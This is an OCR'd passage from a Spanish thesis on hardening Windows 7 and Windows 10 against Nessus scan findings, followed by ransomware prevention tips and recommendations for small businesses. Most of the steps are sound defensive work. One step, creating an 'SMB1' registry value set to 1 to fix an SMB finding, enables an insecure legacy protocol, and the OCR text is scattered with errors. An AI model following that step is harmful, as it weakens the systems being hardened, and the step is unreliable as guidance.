Windows Update

g+ b Instalando actualizaciones..
A2 L
——

|

Instalando actualizacién 128 de 167...
Actualizacion de seguridad para Windows 7 para x64-based Systems (KB3021674)

| Detener la instalacion |

Busqueda mas reciente de actualizaciones: Hoy a las 19:43
Se instalaron las actualizaciones: Nunca
Recibe actualizaciones: Sélo para Windows

Obtener actualizaciones para otros productos de Microsoft. Mas informacién

Después de la instalacion de las actualizaciones disponibles, el
siguiente paso es reiniciar la computadora.
llustracion 108.— Numero de actualizaciones instaladas

Windows Update

G No se instalaron algunas actualizaciones,

Reinicie el equipo para finalizar la

instalacion de actuslizaciones
importantes

Cormectax: 166 actualizaciones

No se pudieron instalar 3

actualzaciones

Errores encontrodos:

Codego 80092004 Windows Update encontro un error desconocide

Obtener ayuda para este eror

Windows no puede actualizar archivos y servicios importantes
mientras los est¢ usando ¢l equipo. Guarde todos los archivos
absertos y luego reimicie el equipo.

Busqueda mds reciente de actualizaciones  Ayer a las 1943
Seinstalaron las actualizaciones: Hoy & bes 8:24 (error). Ver historial de actualizaciones
Recibe actualzaciones: Sélo para Windows

Obtener actualizaciones para otros productes de Microsoft. Més informacion
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Nuestra expectativa es que las actualizaciones que se han descargado
se implementen con precision..

llustracion 109. — Configuracion de las actualizaciones

Fase 3 de 3
~ Configurando las actualizaciones de Windows

15% completado
No apague el equipo.

Al cargar el arranque del equipo nos dirigimos al apartado de Windows
Update para comprobar que se han instalado todas las actualizaciones.
llustracion 110. — Windows Update sin actualizaciones

Windows Update

Windows esta actualizado
No hay actualizaciones disponibles para su equipo.

Busqueda mas reciente de actualizaciones: Hoy a las18:09
Se instalaron las actualizaciones: Hoy a las 18:10. Ver historial de actualizaciones
Recibe actualizaciones: Sélo para Windows

Obtener actualizaciones para otros productos de Microsoft. Mas informacion

Una vez instaladas todas las actualizaciones del sistema, procedemos
a generar un nuevo escaneo para evaluar el estado actual y el rendimiento del
ordenador.
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llustracion 111. — 2° Escaneo de Vulnerabilidades Windows 7

Ingresamos a las mas criticas para poder analizarlas.

llustracion 112.— Vulnerabilidad — Sistema Operativo sin soporte

CRITICAL 10.0 Microsoft Windows 7 / Server 2008 R2 Unsupported Version Detection
CRITICAL 10 Jnsupported Windows OS (remote

Es evidente que ciertas vulnerabilidades siguen sin abordarse, y esto

es por mantener el uso de un SO sin soporte.
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llustracion 113. — Vulnerabilidad — Version sin soporte

vulnerabilidades

U Microsoft Windows 7/Server 2008 R2 Deteccién de version no compatible

Descripcion

Solucion

Ver también

llustracion 114.— Vulnerabilidad — Version del SO sin soporte

vulnerabilidades 43

EEXEZR sistema operativo Windows no compatible (remoto)

Descripcion

Solucién

Ver también

A medida que avanzamos con nuestra evaluacion de vulnerabilidades,
se hace evidente que todavia hay actualizaciones de seguridad pendientes
que deben instalarse. En consecuencia, navegamos a los enlaces
proporcionados para las respectivas soluciones y seguimos los pasos

necesarios.
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llustracion 115. — Vulnerabilidad — Falta de actualizaciones de seguridad

Para garantizar una seguridad 6ptima, procederemos con la instalacion
de todos los parches pendientes. Esto requiere acceder a la pagina web
designada para descargas de actualizaciones de  Windows:

(https://www.catalog.update.microsoft.com/Home.aspx) y buscamos la que

nos faltan.
llustracioén 116. — Actualizaciones de seguridad a instalar

(B windows6.1-kbd474419-v3-x64_b5614 cbceaSchdel98717789633dcal6308ef79¢
[F4 windows6.1-kb4490628-x64_d3de52d6987f7 c8bdc2c015dcab9eacd6047c76e
[E windows6.1-kb4538483-x64_3e861aeSfe3f6b3c9d185decbdd6a436calc5035
[F windows6.1-kb4565354-x64_a2441fcedd6324071e6211bb08f749ef430c0ed2
[F4 windows6.1-kb4570673-x64_046157fddc9a0cl c80f27a59cec94a3bedc9aa3l

[F4 windows6.1-kb4571729-x64_62b8672a50cebbdbfcddfbl6el8a39ab472a5269

>

El proceso de instalacion comienza una vez completada la descarga,
procediendo una a una de la siguiente manera. Iniciamos la instalacion
ejecutando el archivo .exe y seleccionando la opcion "si" para comenzar la

instalacion.
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llustracion 117. — Actualizacion KB4571729

(Desea instalar la siguiente actualizacion de software de Windows?

Actusizaciéon de seguridad para Windows (KB4571729)

|

VRO | I —

Posteriormente, anticipamos pacientemente la finalizacion del proceso

de instalacion.

llustracion 118.— Progreso de la actualizacion

({EP Se estan instalando las actualizaciones

Estado de la instalacion:

Inidalizando la instalacion. .. Listo -
Instalando Actualizacion de seguridad para Windows (KB4571729) (actualizacion 1 de 1)... |
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Después de instalar cada actualizacion, sera imprescindible reiniciar el
equipo y luego continuaremos explorando en busca de méas vulnerabilidades
con el objetivo de eliminar todas las posibles. En la imagen siguiente, Nessus
nos informa que el servicio SMB se encuentra inactivo, lo que podria abrir la
puerta a posibles ataques de un atacante sin necesidad de credenciales. Por
lo tanto, procederemos a habilitarlo.

llustraciéon 119.— Vulnerabilidad — SMB desactivado

Para habilitar el servicio de SMB, accedemos al registro de Windows
ingresando "regedit” en la barra de busqueda de Windows. Una vez dentro del
registro, navegamos a la siguiente ubicacion:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Lanm
anServer\Parameters

En esta ubicacién, creamos un nuevo valor de tipo 'DWORD..

126



llustracion 120.— creaciéon de valor
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Le asignamos un nombre, como es para samba lo llamaremos "SMB1"
y le daremos el valor de 1.

llustracion 121.— Valora 1

74| SMB1 REG_DWORD 0x00000000 (0)
(7 o
Editar valor de DWORD (32 bits) |[—e..s—|

Nombre de valor:

SMB1

Informacién del valor Base

1 y © Hexadecimal
Decimal
[ Aceptar | [ Cancelar |

Con el objetivo de evitar la necesidad de analizar cada vulnerabilidad
de manera individual, podemos dirigirnos a la pestafia de 'Remediations’ en
Nessus y seguir las instrucciones proporcionadas en esa seccion para abordar
la mayoria de las vulnerabilidades.

llustracion 122.— Pestafia ‘Remediations’
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Remediations 6

Instalaremos cada actualizacién que se nos indique, comenzando por
Microsoft Edge. Podemos optar por actualizarlo o desinstalarlo. Para llevar a
cabo esta accion, ingresamos a la configuracion de Microsoft Edge y elegimos
la opcién de actualizacion.

llustracion 123.— Configuracion Microsoft Edge

& O o settings

Configuracion Acerca de

c Microsoft Edge

@ Perfile Actualizando Microsoft Edge (50%)

Una vez que se haya completado la actualizacion, reiniciamos el

navegador y volvemos a abrirlo para asegurarnos de que esté actualizado.
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llustracion 124.— Microsoft Edge actualizado

Acerca de
e Microsoft Edge

© Microsoft Edge esta actualizado.

Pasemos al siguiente paso que implica la instalacion de la actualizacion

KB5020000. Para hacerlo, realizamos una busqueda en el catdlogo de

actualizaciones y procedemos a descargarla.

llustracion 125. — KB5020000

Una vez que se ha descargado el archivo ejecutable de la actualizacion,

lo ejecutamos. Sin embargo, observamos un mensaje que indica que no es
aplicable a nuestro equipo. En consecuencia, esta actualizacion no puede ser

instalada en nuestra configuracién actual.
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llustracion 126. — Actualizacion no aplicable

La actualizacion no es aplicable al equipo.

| Aceptar

Testeamos a instalar el siguiente KB y repetimos los pasos para la
descarga y la instalacion.
llustracion 127.— Actualizacion KB5006671

{Desea instalar la sigwiente actualizacion de software de Windows?

Actuslizacién de sequndad pars Windows (KB5006671)

s Jw ]

Después de que la actualizacion se haya instalado con éxito,
reiniciamos el equipo y esperamos a que termine de aplicar la actualizacion.

llustracion 128.— Configuracion de la actualizacion

Configurando las actualizaciones de Windows

~
v

72% completado
No apague el equipo.
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Una vez que la instalacion y aplicacion de la actualizacion ha finalizado,

nos encontramos con el siguiente error.
llustracion 129.— Error en la configuracion de la actualizacion

Error de configuracion de las actualizaciones de Windows

”~

Revirtiendo los cambios .
No apague el equipo.

Esta situacion se repite tanto con KB5006671, KB4577010 vy
KB4586768, lo que indica que no podemos implementar las Ultimas
actualizaciones de seguridad. Esto se debe a que Windows 7 ya no cuenta
con soporte, o que nos imposibilita parchear cualquier otra vulnerabilidad,
dejando el sistema en su estado actual:

llustracion 130. — 3° Escaneo de Vulnerabilidades Windows 7

Q |

En el equipo Windows — 7 partiamos de lo siguiente:

llustracién 131. — Primer escaneo — Windows 7
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Y finalizamos de esta manera:

llustracion 132. — Ultimo escaneo — Windows 7

El principal desafio de los sistemas operativos que quedan sin soporte
es que obligan a los usuarios a migrar hacia otras plataformas, ya que no
pueden recibir actualizaciones para solucionar problemas de seguridad. En
estos casos, la seguridad se puede mejorar en cierta medida mediante el uso
de firewalls y antivirus, como una forma de mitigar los riesgos asociados a la

falta de soporte y actualizaciones.

4.4.3 Windows 10

Este equipo de Windows 10 parte con las siguientes vulnerabilidades.

llustracién 133.— 1° Escaneo de Vulnerabilidades Windows 10

Para empezar, nuestro primer paso es buscar actualizaciones

disponibles para Windows Update. Para lograr esto, navegamos por la ruta de

configuracion-actualizacion y seguridad.
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llustracion 134.— Descarga e instalacion de actualizaciones Windows 10

Windows Update

@ Actualizaciones disponibles

Uttima comprobacién: hoy, 19:32

Faltan correcciones importantes de seguridad y calidad en tu dispositivo.

Herramienta de eliminacion de software malintencionado de Windows x64, v5.107
(KB890830)
Estado: Descargando - 7%

2022-11 Actualizacion acumulativa para NET Framework 3.5, 4.8 y 4.8.1 para Windows 10
Version 21H2 para x64 (KB5020687)
Estado: Descargando - 0%

2022-11 Actualizacidn acumulativa para Windows 10 Version 21H2 para sistemas basados
en x64 (KB5019959)
Estado: Descargando - 0%

2022-04 Actualizacién de Windows 10 Version 21H2 para sistemas basados en x64
(KB5005463)
Estado: Descargando - 0%

2022-04 Actualizacion de Windows 10 Version 21H2 para x64 sistemas basados en
(KB4023057)
Estado: Descargando - 0%

2022-02 Vista previa de actualizacion acumulativa de NET Framework 3.5 y 4.8 para
Windows 10 Version 21H2 para x64 (KB5010472)
Estado: Descargando - 22%

Luego de asegurarnos de que se han completado todas las descargas,
procedemos a reiniciar el equipo e iniciar el proceso de carga de

actualizaciones.
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llustracion 135. — Configuracion de las actualizaciones Windows 10

Trabajando en las actualizaciones
5% completado
No apagues el equipo

En nuestra busqueda estamos investigando si alguna actualizacién no
se ha instalado o si la instalacién de la nueva actualizacion requiere de las
anteriores.

llustracion 136. — 2° descarga de actualizaciones Windows 10

Windows Update

Actualizaciones disponibles
Ultima comprobacién: hoy, 20:01

2022-11 Actualizaciéon acumulativa para Windows 10 Version 22H2 para sistemas basados
en x64 (KB5020030)
Estado: Instalando - 74%

Luego de ello procedemos a reiniciar el ordenador una vez mas para
poder iniciar el proceso de instalacion.

llustracion 137. — 2° Configuracion de las actualizaciones Windows 10

Trabajando en las actualizaciones
30% completado
No apagues el equipo
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Una vez finalizado el procedimiento, procedimos a iniciar un nuevo
escaneo, observando una disminucién notable en las vulnerabilidades que
estaban inicialmente presente.

llustracién 138. — 2° Escaneo de Vulnerabilidades Windows 10

Al acceder a la seccion de vulnerabilidades, resulta evidente que los
problemas provienen del paquete de Microsoft Office. Posteriormente,
procedemos a investigar e identificar los problemas especificos que nos
ocupan.

llustracion 139. — Vulnerabilidad Microsoft Office

v
1
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Segun la tabla, Nessus nos proporciona la informacién de que nuestra
version de Office esta desactualizada.
llustracién 140. — Vulnerabilidad Microsoft Office — Version obsoleta

CRITICAL ' e Compatibilit Kk Un ed Version Détection
w,] e 3 ty Pack talle ede 8 e

La presencia de esta vulnerabilidad indica que Nessus puede ser
susceptible de ser explotado por un atacante externo, lo que permite la
ejecucion remota de codigo. Por lo tanto, es necesario eliminar Microsoft
Office o instalar las ultimas actualizaciones.

llustracion 141. — Vulnerabilidad Microsoft Office — Code Execution

CRITICAL

Entramos al equipo para verificar que version tenemos de Office
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llustracion 142. —Version Microsoft Office

Mejor coincidencia

Office

Aplicaciones
Microsoft Office Word 2007

Microsoft Office Excel 2007

Microsoft Office PowerPoint 2007

B
o
B Microsoft Office Outlook 2007
1]
>

Microsoft Office Access 2007
Buscar en Internet

offi - Ver resultados wel

office 365

office

office 365 login

£ office gratis

Carpetas

B Microsoft.Office.OneNote_8wekyb3d

Como se puede notar, esta es una version del afio 2007, lo que la
convierte en una version antigua y sin respaldo. Por lo tanto, decidimos
desinstalarla.

llustracion 143. —Desinstalacion Microsoft Office

Microsoft Office Professional 2007
19/10/2022

12.0.4518.1014

Modificar Desinstalar
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Tras desinstalar el Microsoft Office, procedemos a examinar las demas
vulnerabilidades, y una de ellas se relaciona con VNC, un programa que se

utiliza para conexiones remotas.

llustracion 144. — Vulnerabilidad VNC

vulnerabilidades &

RealVNC VNC Viewer <4.1.3/4.4.3 Ejecucién de comandos arbitrarios

Descripcion

3 version de VNC Viewer de RealvNC instalada en e host remoto de Windows se ve afectada

Solucién

Ver tambien

Tenemos la version 4.1.2 que es antigua y procederemos para
actualizarla, pero primero desinstalamos.

llustracion 145. —Desinstalacion VNC

Vn VNC Free Edition 4.1.2
C 19/10/2022

4.1.

o

Modificar Desinstalar
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Ahora instalamos la versién nueva 6.2

llustracién 146. — Nueva version VNC

# Instalacién de VNC Viewer 6.22.826 -

Instalacion de VNC Viewer 6.22.826

n De esta forma, VNC Viewer 6.22.826 se instalara en el
C equipo.

Haga dic en Siguiente para continuar, o en Cancelar para
salir del programa de instalacion.

Instalamos la nueva version y ponemos en instalar.
llustracion 147.— Instalacion nueva version VNC
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g Instalacion de VNC Viewer 6.22.826 - X

Listo para instalar VNC Viewer 6.22.826

Haga dic en Instalar para comenzar |a instalacdn, Haga dic en Atrds para revisar 0
cambiar la configuracidn de la nstalacidn, Haga dic en Cancelsr para salr del asistente,

s Carcee
Después de solucionar estas vulnerabilidades, navegamos a la seccion

"Remediations" para evaluar lo que aun queda pendiente.

llustracion 148. —Pestafia ‘Remediations’

Remediations 9

La proxima vulnerabilidad que abordaremos se relaciona con la version

desactualizada de Firefox. Para resolver esto, comenzaremos desinstalando
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la versién actual de Firefox antes de proceder con la actualizacion. Esto se
hace para evitar la presencia de archivos residuales de versiones anteriores
en el equipo.

llustracion 149. — Desinstalacion Mozilla Firefox

Mozilla Firefox 29.0.1 (x86 es-ES) 66,2 MB
~ 19/10/2022

29.0.1

Modificar Desinstalar

Luego instalamos el .exe de la version actual y la instalamos.

llustracion 150. — .exe de la nueva version de Mozilla Firefox

s Firefox Installer

Para verificar que es la version que esta actualizada, entramos en
ayuda > Acerca de Firefox y corroboramos que esta bien.
llustracion 151. — Mozilla Firefox actualizado

Acerca de Moxlla Firefox b'e

Firefox Browser

Firefox estd actualzado

Firefox estd disedado po

mantener la Web abierta

Quiere ayudar? Haga una do

Informacion de licencia Rerechos del usuano final Politica de prrvacidad
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Después de actualizar los programas que produjeron vulnerabilidades,
procedemos con otro analisis.
llustracion 152. — 3° Escaneo de Vulnerabilidades Windows 10

Tras un examen cuidadoso, resulta evidente que una parte importante
de las vulnerabilidades se han solucionado con éxito. Ademas, Nessus
destaca la presencia de una vulnerabilidad dentro del Microsoft Internet

Explorer instalado.

llustracion 153.— Vulnerabilidad Microsoft Internet Explorer

T
T
rv
T
=

Eliminaremos la version no compatible de Microsoft Internet Explorer
debido a su Unica vulnerabilidad critica, ya que la nueva version de Edge ya

esta instalada.
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llustracion 154. — Desinstalacion Microsoft Internet Explorer

Internet Explorer
Aplicacion Ejecutar como administrador

Configuracion Abrir ubicacion de archivo

Anclar a Inicio

¥ Opciones de Internet

. ,, Anclar a la barra de tareas
@ Ver si tienes una version de 32 ¢

bits de Windows Desinstalar

Una vez desinstalado, utilizaremos gpedit.msc para deshabilitar
Internet Explorer, evitando que queden rastros de archivos y configuraciones

obsoletas en el sistema.

llustracion 155. — comando: gpedit.msc

4 Ejecutar X

Escriba el nombre del programa, carpeta, documento o
recurso de Internet que desea abrir con Windows.

Abrir: l gpedit.msc v

G Esta tarea se creara con privilegios administrativos.

Cancelar Examinar...

Ingresamos a la ruta de la configuracion del equipo/ Plantillas
administrativas\Componentes de Windows\Internet Explorer y localizamos la
directiva 'Deshabilitar Internet Explorer 11 como un explorador independiente’,
luego procedemos a activarla.

llustracion 156.— Directiva ‘Deshabilitar Internet Explorer 11 como
explorador independiente’
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Tras un examen mas detallado de las vulnerabilidades restantes,
resulta evidente que la computadora esta afectada por dos directivas
inadecuadamente configuradas o ausentes, comprometiendo asi la integridad

del sistema.

llustraciéon 157. — Vulnerabilidad - WinVerifyTrust

vulnerabilidades 45

EEEEE \Vitigacion de validacion de firmas WinVerifyTrust CVE-2013-3900 (EnableCertPaddingCheck)

Descripcion

Solucién

Ver también

Para abordar la vulnerabilidad, podemos resolverla abriendo un bloc de
notas y modificando el registro con directivas especificas. Estos cambios
deben guardarse como "WinVerifyTrust.reg" y ejecutarse posteriormente.

llustracion 158. — Codigo para la modificacion de las directivas
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Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Wintrust\Config]
"EnableCertPaddingCheck"="1"

[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Cryptography\Wintrust\Config]
"Enable(ertPadding(heck"-"1"|

Aceptamos la creacion de ambas variables en el registro.
llustracion 159. — Ejecucion del script ‘WinVerify Tryst.reg’

| Si se agrega informacion, los valores se pueden cambiar o eliminar sin intencion y algunos
* . componentes podrian dejar de funcionar correctamente. Si no confia en el origen de la

informacion de C:\Users\Administrador\Desktop\WinVerify Trust.reg, no la agregue al
Registro.

(Esta seguro de que desea continuar?

I

Observamos que modificé el registro de Windows sin problema.
llustracion 160. — Correcta modificacion del registro

o Editor del Registro

0 Las claves y valores contenidos en C:\Users\Administrador\Desktop\WinVerifyTrust.reg se
agregaron correctamente al Registro.
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llustracién 161. — Directiva 1
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llustracién 162. — Directiva 2
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La ultima vulnerabilidad que identificamos radica en la desactivacion de
la funcion de firma SMB en el sistema, lo que potencialmente permitiria a un

atacante acceder al equipo sin necesidad de autenticacion.

llustracion 163. — Vulnerabilidad - SMB

Para habilitar la politica deseada, podemos acceder al terminal gpedit.msc
y realizar las modificaciones necesarias.

llustracion 164. — Modificacion directiva SMB

Aplicamos y aceptamos el cambio.
llustracion 165. — Habilitar directiva SMB
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Propiedades: Servidor de red Microsoft: firmar digitaimen... ? X

Configuracion de seguridad local  Explicacion

3 Servidor de red Microsoft: fimar digtaimente las comunicaciones
(sempre)

(@) Habitada
(O Deshabitada

i Si modfica esta configuracidn, esto puede tener un impacto en la
compatibiidad con clientes, servicios y aplicaciones
Para obtener mas informacion, consulte Serv

¢ de red

ones f'.‘"f; (Q823659) 7

M andt
gQtamente 138 Com

[ Aceptar | | Cancelar | | Aplcar

Reiniciamos la computadora para que los cambios realizados surtan
efecto y, una vez que hemos abordado las vulnerabilidades detectadas,
procedemos a realizar un nuevo escaneo para verificar si quedan problemas
pendientes de resolucion.

llustraciéon 166. — Ultimo escaneo de Vulnerabilidades Windows 10

La imagen de escaneo de vulnerabilidades mas reciente de Windows

10 y Ubuntu revela que estos dos sistemas operativos tienen la capacidad de

recibir actualizaciones y parches completos, lo que garantiza que estén libres
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de vulnerabilidades importantes. Esto es posible gracias al apoyo continuo
que reciben. Por el contrario, las versiones anteriores, como Windows 7,
carecen de la capacidad de abordar y rectificar vulnerabilidades, lo que las

deja susceptibles a una posible explotacion.

En el equipo Windows — 10 partimos de lo siguiente:
llustracién 167.— Primer escaneo — Windows 10

—— = =

Hemos acabado asi:

llustracion 168.— Ultimo escaneo — Windows 10

4.|5 Ransomware y dispositivoé moviles.
El ciberdelincuente sabe que puede aprovechar del usuario que no
tiene tanta seguridad informatica y mucho mas si no estan mezclado muchos
en el mundo de la tecnologia. Por eso puede usar un malware para robar los
datos confidenciales de algun teléfono inteligente.
Se mencionan algunos consejos que ayudan a proteger los dispositivos
moviles.

e Tener precaucion con la instalacion de aplicaciones
dudosas ya que estas son una fuente de malware, antes de instalar
cualquier aplicacién debe de asegurarse que es descargada de las
tiendas oficiales de las telefonias, incluso aun asi se han encontrado
varias en la tienda de Google Play Store.

e Instalar parches de seguridad. ElI ransomware puede
contagiar a un dispositivo a través de descarga no autorizadas. Esto
puede suceder al momento que uno visita accidentalmente sitios

fraudulentos o también son redirigidos a web sospechosas a causas
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de un malware, para asegurarse tienen que estar actualizados las
aplicaciones y sistemas operativos.

e Mantenerse informado sobre las uUltimas amenazas y
tendencias de cibercrimen.

e Realizar una copia de seguridad de todos los archivos,

siempre es una muy buena idea.

4.5.1 En caso de infeccion del ransomware.
En caso de producirse un incidente relacionado al ransomware, debes
de considerar los siguientes pasos.

e Antes de apagar el sistema. Se sugiere tomar una copia
de la memoria del sistema si es posible debido a la presencia de
malware, la instantdnea permitira identificar la forma en que el
ransomware atacé y encontrar cualquier informacién criptografica
gue pueda ayudar a desencriptar los datos.

e Apague el sistema. Para prevenir una mayor
propagacion de la infeccién de ransomware y minimizar el dafio a
los datos, es esencial apagar el sistema infectado

e Identificar el vector de atague. La capacidad del
usuario para identificar el momento exacto en que se pierden los
accesos a los datos, asi como para detectar correos electronicos que
puedan contener ransomware.

e Bloquear el acceso alared. Es crucial impedir el acceso
a la red, ya que varios tipos de ransomware tienen la capacidad de
expandirse a través de la red donde reside el equipo infectado. Por
lo tanto, es esencial bloquear cualquier servidor de comando y
control que el malware pueda estar utilizando. Sin acceso a estos

servidores, el malware no podra cifrar los datos.
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4.6 Medidas de proteccion contra los ataques de ransomware
paralas PYMEs y sistemas de prevencion.

Esta lista de consejos sera de gran utilidad tanto para las empresas
como para las personas individuales. Se han formulado recomendaciones
basadas en los medios méas habituales de difusion de esta amenaza.

4.6.1 Adjuntos de correo electrénico.

El mail sigue siendo una de las formas mas comunes que los atacantes
utiizan para difundir el ransomware. Si su correo esta recibiendo
notificaciones de otras paginas que usted no ha visitado posiblemente esta su
informacion comprometida en alguna brecha de seguridad por lo cual puede
verificarlo en esta pagina Web https://monitor.mozilla.org/ para saber si su
mail estuvo 0 no expuesto, en caso de gue sea que si tiene que cambiar
urgentemente su clave en todas las paginas que aparezca su correo y en caso

de que no pueda estar tranquilo.

Al momento de recibir un correo de una persona conocida o de algun
pidiendo actualizacion de datos o simulando que es un amigo tuyo y te pide
gue hagan click en un enlace y no estas seguro de que sea confiable entonces
puedes entrar a la siguiente pagina https://www.virustotal.com en donde
puedes copiar el link y pegarlo en la pagina para verificar si tiene algun virus

detras de esa direccion.

Para reducir el riesgo de ser victima de este tipo de ataque, se deben
seguir estos consejos de prevencion:

e Abrir solo archivos adjuntos de remitentes confiables.

e Verificar la direccién de correo electronico del remitente
para asegurarse de que es correcta.

e Tener en cuenta que los nombres de dominio y los
nombres para mostrar pueden ser falsificados con facilidad.

e No abrir archivos adjuntos que requieran habilitar las

macros. Si se piensa que el archivo adjunto es legitimo, buscar
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ayuda o asesoramiento del departamento de Tl en el caso de las
empresas.
4.6.2 Direcciones maliciosas.

Los atacantes también utilizan correos electrénicos para enviar enlaces
maliciosos, que son una forma comun de distribuir ransomware. Aqui hay
algunos consejos de prevencion:

e Estar atento a todos los enlaces incrustados en correos
electrénicos y mensajes directos.

e Verificar la URL colocando el cursor sobre el enlace antes
de hacer clic en él.

e Utilizar CheckShortURL para expandir URL acortadas.

e Intentar ingresar manualmente los enlaces en el
navegador para evitar clics en enlaces de phishing.

4.6.3 Publicidad engafosa.

Normalmente se aprovecha la curiosidad de algunos usuarios es
bastante sencillo que muchas personas hagan clic sobre este tipo de
publicidad, por lo que vale la pena tomar en cuenta ciertas pautas.

Consejos de prevencion:

* Mantener el sistema operativo, aplicaciones y navegadores webs
actualizados.

* Deshabilitar los complementos que no usa habitualmente.

« Utilizar un bloqueador de anuncios.

* Habilitar los complementos de reproduccién por clic en el navegador
web, lo que evita que complementos como Flash y Java se ejecuten
automaticamente. Una gran cantidad de publicidad maliciosa se basa en la
explotacion de estos complementos.

4.6.4 Protocolo de escritorio remoto.

Vulnerabilidades pueden ser un peligro para los usuarios debido a que
a menudo se descuidan las verificaciones en las computadoras. Por lo tanto,
este método de infeccion se utiliza cominmente.

Consejos de prevencion:
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« Utilice contrasefas fuertes y seguras, aunque pueda sonar repetitivo.

» Cambie el puerto RDP desde el puerto estandar 3389.

+ Habilite RDP solo si es realmente necesario.

* Use una VPN.

» Active una autenticacion de dos factores (2FA) para las sesiones
remotas.

4.6.5 Descargas automaticas.

Las descargas automaticas son un riesgo para los usuarios ya que se
llevan a cabo sin su participacion y por lo tanto, a menudo pasan
desapercibidas. Consejos de prevencion:

» Mantener el software actualizado con las ultimas actualizaciones de
seguridad.

* Desinstalar extensiones de navegador no necesarias.

* Instalar un bloqueo de anuncios.

4.6.6 Propagacion de lared.

En este nivel de riesgo se incrementa ya que existen cepas que tienen
algunas funciones dedicadas a esparcir el ransomware en otros equipos
dentro de la misma red conectada.

Consejos de prevencion:

e Segmentar la red
e Mantener una estrategia de respaldo e implementacion de
ransomware
e Si por cualquier motivo un equipo de la red llega a estar
infectado, se debe de desconectar de inmediato, con el fin de que se
siga propagando a otros equipos conectados de la red.
4.6.7 Software ilegal.

En el mundo del internet se encuentra distintas paginas en las que uno
se puede descargar software gratis para activar algin programa de pago, por
medio de activadores o crack, estos archivos al ejecutarlos en la pc son los
gue instalan el ransomware, o dejan abierta una puerta por donde luego sera

implantada la infeccion.
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Consejos de prevencion:
e Tener cuidado con las ofertas de software que son
demasiada buenas para ser verdad.
e Evitar el uso de software pirata.
e Evitar sitios web que alojan software pirateado, cracks,
activadores o generadores de claves.
4.6.8 Dispositivos portéatiles.

Las unidades USB y los equipos portatiles infectados pueden ser
fuentes de propagacion de ransomware. Para prevenir esto, es importante no
conectar dispositivos desconocidos, tener politicas sélidas de seguridad
BYOD, utilizar un software antivirus confiable y regular la conexién de equipos

portatiles a la red.
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CAPITULO 5
CONCLUSIONES Y RECOMENDACIONES

5.1 Conclusiones.

Se pudo observar debido a las pruebas que se realizaron a distintos
sistemas operativos que usando Kali Linux y sus herramientas,
efectivamente se pudo analizar los ataques que manejan
actualmente hacia un objetivo son por falta de una mejor
configuracién en su red y posiblemente de un desconocimiento de
tener puertos disponibles sin necesidad de usarlos por ende quedan
expuestos a posibles ataques externos a su red, por los cuales estos
mismos puertos nos dan informacion de que versiones del sistema
operativo maneja el usuario que es atacado y saber identificar que
vulnerabilidades tienen estos para saber como explotar esas fallas
debido a su mala parametrizacion de red y mala revision de diversos
tipos ,sean estos no aplicar un parche para el sistema en general o
una nueva version de un programa que no ha sido actualizado y
tenga un fallo en su version antigua e incluso nos permita hacer
escalada de privilegios al no ser renovados constantemente por eso
su importancia de los ajustes pertinentes. Adicional de que debe de
tener un conocimiento basico la persona que maneja el sistema
sobre lo que es ciberseguridad y poder mitigar el riesgo de los

atagues a su red.

Luego de que se hizo las vulneraciones vimos la importancia de
saber identificar cuales son los errores corroborando con Kali y
también con su herramienta de Nessus que nos indicaron los puntos
rojos que son los mas importantes y criticos que habia que parchar
rapidamente, se pudo observar como en gran mayoria disminuyeron
las vulnerabilidades del sistema y asi tapar parte los fallos de
seguridad de la red, ya que no se pudo en el total de un sistema
operativo ya que éste no tiene soporte oficial actualmente por
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consiguiente queda expuesto en parte a un ataque Sino se
evoluciona a otro sistema operativo mas actual pero de todas
maneras al parchar varias extensiones del mismo sistema operativo
o de un antivirus, algun navegador de red o un programa obsoleto

se minimizaron los riesgos.

Por eso es la importancia de tener una capacitacion constante sobre
ciberataques no soélo la persona que maneja una pyme sino en su
mayoria que tenga una idea de poner un negocio incluso desde su
casa ya que también hasta su propia red local puede ser afectada
por no tener una buena configuracion, ya que el eslabon mas débil

de toda esta cadena es el ser humano con desconocimiento.
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5.2 Recomendaciones
De acuerdo con el estudio realizado se recomienda lo siguiente

para tener puntos importantes para mitigar ataques informaticos:

1. Restringir la instalacion de programas, extensiones y applets Java a
usuarios sin privilegios de administrador.

2. Deshabilitar las unidades de red no utilizadas y el acceso no autorizado
a puertos como RDP y SMB.

3. Realizar copias de seguridad de datos regulares y probadas para
almacenarlas desconectadas después de verificar su integridad.

4. Mantener todas las aplicaciones y sistemas actualizados con los
ultimos parches de seguridad de todos los sistemas operativos que se
usen en su organizacion y revisar regularmente que no falten
actualizaciones criticas.

5. Altener un sistema operativo que ya no le den soporte técnico se esta
en riesgo de que atacantes aprovechen fallos de este y lo mejor es
actualizar a un sistema que si tenga soporte oficialmente, para
minimizar amenazas.

6. Bloquear archivos adjuntos peligrosos mediante software antimalware
con capacidades anti-ransomware habilitadas.

7. Desactivar la ejecucion de codigo JavaScript en documentos PDF y
Analizar los PDF con antivirus antes de abrirlos.

8. Segmentar la red para limitar el impacto en caso de infecciones y
separar el trafico critico del estandar.

9. Capacitar a los empleados sobre amenazas actuales de ransomware y
formas de infeccibn mediante emails, anuncios web maliciosos, sitios
falsos, etc.

10.Contar con un plan de respuesta a incidentes que incluya la
recuperacion de sistemas y archivos sin pagar rescates.

11. Al no estar seguro de visitar algun link que le hayan enviado por mail
puede visitar la pagina de https://www.virustotal.com y pegarlo para
poder comprobar si hay alguna especie de virus oculto detras del link e
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incluso puede subir un archivo para verificar si hay algun software
malicioso detras del mismo.

12. Utiliza contrasefias complejas y Unicas para cada cuenta, y habilita la
autenticacion de dos factores (2FA) siempre que sea posible para una
capa adicional de seguridad y podemos visitar
https://password.kaspersky.com/es/ para saber si tenemos una buena
contrasefa fuerte para que sea dificil de romper por medio de ataque
de diccionario.

13.Implementar servicios de copia de seguridad en la nube, como Google
Drive, Dropbox, etc.

14.Hacer simulaciones de ataques a los equipos de empleados, para
saber si estan al tanto de los tipos de ataques que se presentan y
puedan identificarlos y que sepan lo que tienen que hacer frente a uno.

15.Si les llega un correo de una persona conocida sea del trabajo o
personal y tiene duda lo mejor es comunicarse con el directamente por
el celular preguntando sobre el mismo para tener un panorama mas

claro y minimizar el riesgo de infeccion.
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